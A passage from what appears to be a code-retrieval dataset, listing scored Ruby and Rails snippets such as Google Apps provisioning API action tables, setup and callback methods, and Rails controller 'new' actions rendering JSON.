}\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52210605", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.52209604", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5213524", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.521152", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.520754", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52046543", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.52040523", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.52036524", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5202948", "text": "def create_setup\n \n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5199691", "text": "def performed(action)\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.5194161", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.5194161", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.51919067", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.51790345", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.5178361", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51730466", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51730466", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51730466", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.51632947", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5153717", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.51421857", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.5140802", "text": "def code_action_provider; end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51395875", "text": "def setup(params)\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.5138662", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51344", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.51154596", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.51132", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5110998", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.51075375", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.51075375", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.51075375", "text": "def action\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5105207", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.51044744", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.5097499", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.5093918", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.50929475", "text": "def add_callbacks(base); end", "title": "" } ]
22893c7b6b807e5f0c8bbcd8fb04f466
Set the value of the Fields input for this Choreo.
[ { "docid": "5404b1622c01dfdb7ba232bb9b1dea0f", "score": "0.74632776", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" } ]
[ { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.73505765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.7349044", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.7349044", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.7349044", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.7349044", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.7349044", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.7349044", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.7349044", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.7349044", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.7349044", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "ceae0a84f166e85e124fd38c50b670f9", "score": "0.7349044", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "c7c7ed7252baa3f0b7583434a5eabd8d", "score": "0.7345408", "text": "def set(fields)\n operate :set, fields\n fields\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.73439765", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" }, { "docid": "f4235bc190bc4e464e09d46d047cb720", "score": "0.7342634", "text": "def set_Fields(value)\n set_input(\"Fields\", value)\n end", "title": "" } ]
6d6b998e4e432cbfb26d1888381256c9
GET /engines/new GET /engines/new.json
[ { "docid": "0426a35606ba6973329992ec273444a9", "score": "0.7369784", "text": "def new\n add_breadcrumb \"Engines\", :engines_path\n @engine = Engine.new\n @fuel_types = Fuel.all \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @engine }\n end\n end", "title": "" } ]
[ { "docid": "5fd1ca671df4eecb36a5b929c33bca81", "score": "0.7336033", "text": "def new\n @engine_model = EngineModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @engine_model }\n end\n end", "title": "" }, { "docid": "47f1ac7aa12f135d2076e8d5a1eb0b1b", "score": "0.7306334", "text": "def new\n @engine_type = EngineType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @engine_type }\n end\n end", "title": "" }, { "docid": "eaf682f8d2a7ff89e7333b6cadc095ac", "score": "0.70704585", "text": "def new\n @evolution = Evolution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @evolution }\n end\n end", "title": "" }, { "docid": "7b45ed3399b1f135979286019cc76f5b", "score": "0.6981089", "text": "def new\n @hostelk = Hostelk.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hostelk }\n end\n end", "title": "" }, { "docid": "6620d2f778eee7b92f69d80aa3cf7d61", "score": "0.6917037", "text": "def new\n @car_engine = CarEngine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @car_engine }\n end\n end", "title": "" }, { "docid": "1f4d2b05033ebde265d2083ab05e3998", "score": "0.68582684", "text": "def new\n @engine = Engine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @engine }\n end\n end", "title": "" }, { "docid": "676a7fb1bdb3e0fb64bb41d272d26588", "score": "0.68449795", "text": "def new\n @hosteln = Hosteln.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hosteln }\n end\n end", "title": "" }, { "docid": "7f36ca117d8960111dc0b5ceaf444813", "score": "0.679812", "text": "def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end", "title": "" }, { "docid": "3c4f53f0ebd066a29b0b7801fb69d3b1", "score": "0.6786764", "text": "def new\n @hostel = Hostel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hostel }\n end\n end", "title": "" }, { "docid": "3f1642e59b185de41582db84000acdea", "score": "0.67766774", "text": "def new\n @version = Version.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end", "title": "" }, { "docid": "3f1642e59b185de41582db84000acdea", "score": "0.67766774", "text": "def new\n @version = Version.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end", "title": "" }, { "docid": "1145ae3d440ae4c25c0ccba6dcd24f0d", "score": "0.6774526", "text": "def new\n puts \"in new method\"\n @host = Host.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @host }\n end\n end", "title": "" }, { "docid": "80a2338f4e776a63d157b66637367abc", "score": "0.6774093", "text": "def new\n @election = Election.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @election }\n end\n end", "title": "" }, { "docid": "80a2338f4e776a63d157b66637367abc", "score": "0.6774093", "text": "def new\n @election = Election.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @election }\n end\n end", "title": "" }, { "docid": "80a2338f4e776a63d157b66637367abc", "score": "0.6774093", "text": "def new\n @election = Election.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @election }\n end\n end", "title": "" }, { "docid": "1004aa6e19494bf2a49d6438bd489cd1", "score": "0.6767774", "text": "def new\n @host = Host.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @host }\n end\n end", "title": "" }, { "docid": "1004aa6e19494bf2a49d6438bd489cd1", "score": "0.6767774", "text": "def new\n @host = Host.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @host }\n end\n end", "title": "" }, { "docid": "1004aa6e19494bf2a49d6438bd489cd1", "score": "0.6767774", "text": "def new\n @host = Host.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @host }\n end\n end", "title": "" }, { "docid": "1004aa6e19494bf2a49d6438bd489cd1", "score": "0.6767774", "text": "def new\n @host = Host.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @host }\n end\n end", "title": "" }, { "docid": "1004aa6e19494bf2a49d6438bd489cd1", "score": "0.6767774", "text": "def new\n @host = Host.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @host }\n end\n end", "title": "" }, { "docid": "ff776ab942cf80b20cf468535b6dc67a", "score": "0.6737117", "text": "def new\n @serv = Serv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @serv }\n end\n end", "title": "" }, { "docid": "17d7da60333d97967bcd96628c11fd45", "score": "0.6728867", "text": "def new\n json_404\n end", "title": "" }, { "docid": "c3a6f1ffb8ee09c6509213ecf47804fe", "score": "0.6726699", "text": "def new\n @election = Election.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @election }\n end\n end", "title": "" }, { "docid": "9d67bece19ca4be0d3f93382ff07670f", "score": "0.6717548", "text": "def new\n @cloud = Cloud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cloud }\n end\n end", "title": "" }, { "docid": "0f91a60c626a836ed78bf24e46763612", "score": "0.6699259", "text": "def new\n @vet_lab = VetLab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vet_lab }\n end\n end", "title": "" }, { "docid": "bdccf65d565a9bdcdb2455f60500dc73", "score": "0.668505", "text": "def new\n @foundry = Foundry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @foundry }\n end\n end", "title": "" }, { "docid": "a114af536a6c5faa8725e86aeb5bbd06", "score": "0.6682982", "text": "def new\n @cloud_engine = CloudEngine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cloud_engine }\n end\n end", "title": "" }, { "docid": "31c8c5a421b4dbecf26238b1bf18fb49", "score": "0.6679993", "text": "def new\n @newse = Newse.new\n\n respond_to do |format|\n format.html # 